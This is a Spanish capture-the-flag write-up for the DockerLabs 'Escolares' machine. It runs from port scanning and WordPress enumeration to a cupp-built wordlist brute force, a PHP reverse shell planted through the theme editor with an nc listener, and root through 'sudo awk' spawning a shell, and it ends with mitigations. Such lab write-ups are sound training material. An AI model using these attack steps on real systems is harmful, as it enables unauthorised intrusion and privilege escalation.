Skip to content

Escolares

This content is not available in your language yet.

Este documento describe la resolución completa de la máquina Escolares, desarrollada por Luisillo_o y catalogada como fácil en DockerLabs. El propósito es ofrecer una guía clara, detallada y técnicamente fundamentada que muestre cada acción realizada, cómo se detectó la vulnerabilidad correspondiente y cómo podría prevenirse en un entorno real.

El proceso se divide en tres fases:

  1. Reconocimiento: Identificación de servicios, tecnologías expuestas y posibles vectores de ataque.
  2. Explotación: Abuso de configuraciones inseguras en WordPress y credenciales débiles generadas a partir de datos públicos.
  3. Escalada de privilegios: Abuso de un binario con permisos sudo para obtener acceso root.

Todas las acciones se realizaron dentro del entorno aislado de DockerLabs.


AtributoValor
NombreEscolares
AutorLuisillo_o
DificultadFácil
Fecha de creación09/06/2024
PlataformaDockerLabs

Descomprimir la máquina:

Ventana de terminal
unzip Escolares.zip

Desplegar el contenedor:

Ventana de terminal
sudo bash auto_deploy.sh Escolares.tar

El script muestra la IP asignada, necesaria para el reconocimiento inicial.

IP asignada


Ventana de terminal
mkdir -p Escolares/{content,exploits,nmap,gobuster,scripts}
cd Escolares

Tener un workspace estructurado permite repetir la metodología de forma ordenada.


Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos identificados:

  • 22/tcp → SSH
  • 80/tcp → Servidor web (Apache)

Puertos abiertos


Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

gobuster scan

Rutas destacadas:

  • /index.php – Página principal Index

  • /wordpress – Instalación de WordPress wordpress blog

Durante la revisión encontramos el archivo profesores.html, con datos personales y una pista importante:

luisillo info

Esto indica un posible usuario administrador: luisillo.


Al abrir /wordpress la página no carga adecuadamente, revelando un dominio interno:

escolares.dl

Se agrega al /etc/hosts:

Ventana de terminal
echo '172.17.0.2 escolares.dl' | sudo tee -a /etc/hosts

Con el dominio funcionando, se ejecuta:

Ventana de terminal
wpscan --url http://escolares.dl/wordpress/ --enumerate u,vp

Salida relevante:

user locate with wpscan

El usuario luisillo es válido.


2.2 Creación de diccionario con información del profesor

Sección titulada «2.2 Creación de diccionario con información del profesor»

Se utiliza cupp para crear un diccionario basado en los datos públicos del profesor:

Ventana de terminal
cupp -i

cupp view


Ventana de terminal
wpscan --url http://escolares.dl/wordpress/ -U luisillo -P Luisillo.txt

Resultado:

brute force result

Se obtiene acceso al panel.


Al ingresar al panel:

wordpress dashboard

Se edita un archivo de tema/plugin para añadir una reverse shell en PHP:

create reverseshell

En el host atacante:

Ventana de terminal
nc -nlvp 443

Luego acceder:

http://escolares.dl/wordpress/wp-content/themes/twnetytwentyfour/shell.php

Acceso obtenido:

acces to www-data


Se encuentra secret.txt:

secret.txt

Se inicia sesión como el usuario real:

su luisillo


Se revisan permisos sudo:

sudo -l

El binario awk puede ejecutarse como root sin contraseña:

Ventana de terminal
sudo awk 'BEGIN {system("/bin/sh")}'

Acceso root:

user root


  • Exposición de datos sensibles en archivos públicos (profesores.html).
  • Contraseña débil generada a partir de información personal.
  • WordPress sin medidas de protección contra fuerza bruta.
  • Plugins/temas editables desde el panel, permitiendo subida de webshell.
  • Archivo interno (secret.txt) con credenciales en texto plano.
  • Configuración peligrosa de sudo permitiendo ejecutar awk como root.

  • No publicar datos personales que puedan usarse para generar diccionarios.

  • Implementar rate limiting, CAPTCHA o bloqueo por intentos fallidos en WordPress.

  • Deshabilitar la edición de temas y plugins en producción.

    define('DISALLOW_FILE_EDIT', true);
  • Evitar almacenar contraseñas en texto plano dentro del sistema.

  • Revisar sudoers y restringir binarios con capacidades de ejecución de comandos.

  • Mantener servicios y CMS actualizados.